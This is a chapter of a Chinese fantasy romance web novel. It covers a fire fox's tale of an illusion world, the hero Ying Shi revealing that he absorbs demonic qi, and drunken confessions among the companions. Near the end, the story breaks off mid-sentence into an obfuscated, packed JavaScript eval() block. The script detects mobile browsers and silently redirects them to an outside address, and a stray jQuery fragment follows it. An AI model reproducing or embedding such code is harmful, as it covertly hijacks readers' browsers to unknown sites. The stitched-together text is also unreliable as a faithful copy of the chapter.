7. 虚实相生
作品:《春与千树长》 夫诸的身上已经感知不到任何一丝妖力或魔气波动了,刚刚的打斗间,它好像也在同自己体内的魔气对抗,所以才耗尽了所有妖力。
火狐眼中流露出怀念,“我告知你们实情,可以让我与他一起囚于昆仑之狱吗?听说,有罪的人和妖也可以选择是留在人间的牢狱还是昆仑之狱,接受教导。”几人料想其中或有隐情,便也点头答应了。
“我是属火的妖,夫诸是属水的妖,我和他这样,也算是相生相克,相依相伴了吧。
千年前,这里还是一座荒山,方圆百里都无人居住。我那时生性贪玩,还未等到化形就跑去过人间和妖界的许多地方。夫诸避世已久,有一天我受了伤,不小心闯进了他的闭关之地,他并未说什么,只是默默采了草药悉心给我疗伤。后来,我给他讲我的所闻所见,他也心生向往,但他知道自己不能去,因为他生来就是水患的象征,走出去,就会有灾祸降临。
我想要报答他救我的恩情,思来想去,便为他造了一个幻境,他也很是欢喜。幻境里,有我见过的大千世界。幻境里,我们互相陪伴,一起看过了日升月落,世间变迁。谁说幻境里的陪伴就不是真的呢?
在幻境里,我们真的很开心,不知晓、也不甚在意究竟外面已经过了多少年。只是前些日子,我的幻境结界受到魔族攻击,我身受重伤,无力再维持幻境,他便从幻境中醒来。然而他的妖力与我相克,救不了我,他就只有去山上寻找可以帮助我恢复妖力的灵草。
许是为了采灵草,他没能控制好妖力。而如今已过千年,这里也不再是荒山,有人类,也有妖族在这里生活。他一出现,水灾便开始蔓延。而魔族,正是利用了这一点,企图控制他。
无论他做了什么,我相信,他心中始终都不愿意伤害任何生灵。”
“我们也相信,你们都是很好的妖。”几人都不禁有些感慨。
“至于魔,我们总会除尽,不会放纵他们为祸世间。”应时果决地说,似是心中有了什么决断。
“我们也相信你们,会给这世间以安宁。”火狐也笑着说道。她想,这样的一行人,虽各有苦难,各有心事,但一切终成铠甲。
“心中有愧,画地为牢,昆仑之狱,于心于形。”念过这段话,便有锁链浮现在火狐和夫诸身上,而后他们便化作一红一蓝两道流光,远去了。
“不好,季澜那边的守护结界破了。”应若感应到危急,几人连忙赶回那边。
魔族来势汹汹,在引出夫诸后,又袭击了刚安置好的村民。几人回到半山腰处,却只见结界处只余一地灰烬,而季涵躺在榻上,被魔气所伤,不省人事。
“应当没有大碍,我来看看吧。”应时抱起小姑娘,走进了屋内,应若虽有疑虑,但也跟了进去。应若看着应时笃定的神情,只对众人道:“大家别担心,没事的,要是实在担忧,还请在屋外等一等。”说罢关上房门,也顺手布下了结界。
“没有大碍吗?你有把握?”应若直接问道。
“看来要直接展示一下了,一会儿再与你细说。”应时垂下眼睫,状似轻松地说道。“我可以吸收魔气。”
“吸收、魔气?”应若忽地站起身,定定地望着他,然而他躲避的眼神已经给了她答案。
只见应时将手悬于季涵心口上方,渐渐的,有黑色的魔气从季涵心口处丝缕溢出,向上收拢至应时掌心,再一点点的进入到应时体内。
应若看着这一幕,只觉得自己浑身的血液好似都凝固住了,丝毫也动弹不得。冰冷的真实就这样出现在眼前,无需任何怀疑,没有任何余地。
应若从未怀疑过,他会同魔一样作恶。她好像可以看见未来的某一天,除魔路上,最终,他自己杀死自己,在她眼前消散,义无反顾地一如从前一般。
在这一息之间,她好像想了很多,又好像什么都没有想。应若快速地偏了下头,压下心底的情绪,又强迫自己看回来,找回自己的声音,尽量平静的问:“那你,还好吗?”
“嗯,她也没事了,我们出去吧,他们也该着急了。”应时从进来起就一直低垂着的眼眸依旧没有抬起,不敢去看应若的神情。
门外,应若安慰众人:“季涵只是一点小伤,已无碍了,多加休息就是。”众人感激不已,无比庆幸。
“应若姐,嘉毅师叔在那边看到灰烬,说是一只凤鸟抵挡魔气,守护了村民。”花染急匆匆地跑过来。
“我这就去看看。”应若迫不及待地想将思绪和注意力从应时和魔气上转移开,也没等应时一下,就大步向那边走过去了。而应时只是沉默着,慢一步跟了过去。
“是凤炎的气息。”杜嘉毅难掩悲伤,“是我前些天从水中救的一只小凤鸟,当时它的翅膀受了伤,无法飞翔,落入了大水中。
它才刚有了灵识,法力微弱,还没能化形。听村民的讲述,它应是以火为障,抵挡魔气,是为了拯救强行提升境界,燃烧自己的生命,最终一同湮灭。
“都说凤鸟能涅盘重生,是真的吗?”杜嘉毅急切的想得到一个肯定的答复。
“是真的。这是它用以涅盘的灰烬,我会带回昆仑。只是凤鸟涅盘重生,时日不定,也许是几十年、几百年,而且,涅盘后就是完全的新生,它不会再有以前的记忆。”应若声音很轻。
“那我们还能为它做些什么吗?凤鸟涅盘,也许,以我们普通人的一辈子都等不到了。”季澜不无遗憾。
“那就,为它祈福吧。兴许它听到呼唤,能涅盘的快一些。上苍说不准也会听见你们的心声,感念此意。”应时望着应若的背影,眼里浮现出些许落寞。
随后,一行人又追踪着魔气,到了渭水渡口附近。人来人往,舟渡江河,魔族却是已经逃得无影无踪了。
几人回来时已至夜晚,村民们正在庆祝度过了灾难,围着篝火喝酒吃肉、载歌载舞、谈天说地、畅想未来。季澜见他们回来,便也邀请他们同享欢乐。
“明日,我们便启程去辰光山吧,那里是乾元剑现世之地,正好离得不算远。”应若快速地看了应时一眼,复低下头说道。
“竟是师门所在,为何我们从未听闻?”杜嘉毅一阵讶异。
“我也只是能感知到剑的方位,至于为何未曾宣扬,就不得而知了。”应时说完便陷入了沉默,在应若看向别处的时候,深深地凝望。
“那可是传说中的乾元剑!”墨悦和花染也很是期待。
“今日难得有机会,我们比比酒量吧,来,干杯!”花染和墨悦兴奋不已,杜嘉毅也深受感染。五人于是共举杯盏,一饮而尽。
“应若姐,你竟然,比我还能喝。嗝!”花染已然醉的不轻,墨悦和杜嘉毅则早就东倒西歪地趴在桌子上了。
“不过是我妖力强而已。”应若说着又喝了一杯。
“我知道,幻境里的都是假的,但我只是想多看一看我母亲,那是我在现实里,再也见不到的母亲了。就当是最后的告别了。”花染自言自语着。
“我还没醉!”墨悦突然出声,“我其实,小时候修炼的时候,吸引魔气更快,大家才说我和朱厌像。可我发现魔气很难控制,也幸好我那时候并未引魔气入体,坚持修习灵气,打散了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187099|165498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我聚集吸引起来的魔气。
我偶尔会害怕,怕被控制,怕伤害到别人。那个幻境,让我看清楚了,我没有自己想象的那么有信心,我不是怕成为别人,我只怕不再是自己。我也怕,是因为我,才让魔气在我们身边出现。”也许酒是个不错的借口,借着酒意,好像很多话也就不难说出口了。
“墨悦,你得知道,朱厌也从来没有失控过,因为他有朋友,有更在意的事。他是战争的预兆,但他不是魔,他从来都是自己做选择。
更何况你并没有修习魔气,你擅长的法术是火系,你已经做了选择了,魔气就不会再成为你的困扰,你也看到了,火是能焚烧一切的,包括魔。
有的时候,吸引魔气不是坏事,把魔气带到我们看得见的地方,总好过无迹可循吧。”应若神色清明,不觉间说了很多,“墨悦,你已经很棒了,朱厌在你这个年纪,还不知道在哪玩呢。”
“哈哈哈,那我就是白猿一族最厉害的妖了!”墨悦瞬间开怀大笑。“时哥,那你有害怕的事吗?”
“当然。我怕,我不够勇敢,因为我,让大家陷入危险或是受伤。”应时说的很简单,酒却是一刻不停地喝着。
“行了。”应若看不下去,夺过应时的酒杯,“伤还没好,我可不想再浪费妖力给你。”
花染和墨悦先行离开,正在树旁说着之前醉酒的事。“之前一直没机会解释,我那天,唐突了,抱歉。但我并不后悔,我只是顺从了自己的心。我心悦你,你少时起,我就在不觉中关注你,现在,一的一举一动更是时刻牵动着我。我们,在一起,好不好?”墨悦真诚地又期待地望着花染。
“好,我也心悦你。”花染脸色有些红,二人相视而笑。
这边,应若走回房间,应时一路跟在后面,在应若要关门的一瞬间闪身进入了房中。
“我今天有些累了,想歇息了。”应若并未回头。
“我是想说……”
应若抬手打断了应时的未尽之语,“非要现在说清楚吗,可能,过几天我就能心平气和的和你商议此事了。”
“对不起,我知道你不喜欢隐瞒和欺骗,我也是不久前才下定决心,走师父与我说的这条路。我体内一直有一丝强大的魔气,被我压制着。”应时的声音有些沙哑。
“所有的事情,总会有办法的。我也很想,这条路,走得长一些,久一些。”
“你没错,我甚至应该为你感到高兴。你终于迈出了这一步,终于开始了真正的成魔之路,然后是化,最终是散,没错吧?乾元剑,灭一切邪魔,你要剑也是以防万一的吧?”应若背对着他,声音平稳地说着,泪水却不受控制地落下。
“我理解、认同、尊重,真的,我只是需要一点时间,想想怎么做才是最好的。”应若顿了下,“你,还有要说的吗?”
“你为什么确定我不会真的成为作乱的魔?”应时一时间不知道该说些什么,因为一切都是未知,一切都无法预料,更无法承诺。
“有时候,我倒宁愿你成魔。”应若久久未动,也不曾回身看他,有些自嘲的笑了。“因为魔,只在意自己。”
“没有别的事,你也回去歇息吧。我想,一个人待一会儿。”门被轻轻的关上,身后的脚步声也渐渐远了。应若耳边回响着刚刚席间花染语气崇敬的话,“应若姐见多识广,肯定是不会害怕的。”
“见的多了,才更害怕吧。”应若低语。“见的多了,也总会有办法的。”她像是说给自己听。
今夜,无月。虚实相生,所见由心。而生命与魔气又能共存多久呢?